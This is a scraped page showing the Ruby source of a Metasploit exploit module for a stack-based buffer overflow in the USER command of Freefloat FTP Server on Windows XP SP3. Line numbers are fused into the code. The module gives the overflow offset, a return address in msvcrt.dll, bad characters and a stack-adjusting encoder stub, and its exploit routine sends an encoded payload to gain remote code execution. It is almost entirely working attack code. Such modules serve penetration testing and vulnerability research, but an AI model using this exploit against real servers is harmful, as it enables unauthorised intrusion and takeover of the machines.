Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/freefloatftp_user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'Free Float FTP Server USER Command Buffer Overflow',13'Description' => %q{14Freefloat FTP Server is prone to an overflow condition. It15fails to properly sanitize user-supplied input resulting in a16stack-based buffer overflow. With a specially crafted 'USER'17command, a remote attacker can potentially have an unspecified18impact.19},20'Platform' => 'win',21'Author' =>22[23'D35m0nd142', # Original exploit24'Doug Prostko <dougtko[at]gmail.com>' # MSF module25],26'License' => MSF_LICENSE,27'References' =>28[29[ 'OSVDB', '69621'],30[ 'EDB', '23243']31],32'Privileged' => false,33'Payload' =>34{35'Space' => 444,36'DisableNops' => true,37'BadChars' => "\x00\x0a\x0d",38'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350039},40'Targets' =>41[42[ 'FreeFloat / Windows XP SP3',43{44'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll45'Offset' => 23046}47],48],49'DefaultTarget' => 0,50'DisclosureDate' => '2012-06-12'))51end5253def check54connect55disconnect56if (banner =~ /FreeFloat/)57# Software is never updated, so if you run this you're f*cked.58return Exploit::CheckCode::Vulnerable59else60return Exploit::CheckCode::Safe61end62end6364def exploit65connect66buf = rand_text(target['Offset'])67buf << [ target['Ret'] ].pack('V')68buf << rand_text(8)69buf << payload.encoded70send_user(buf)71disconnect72end73end747576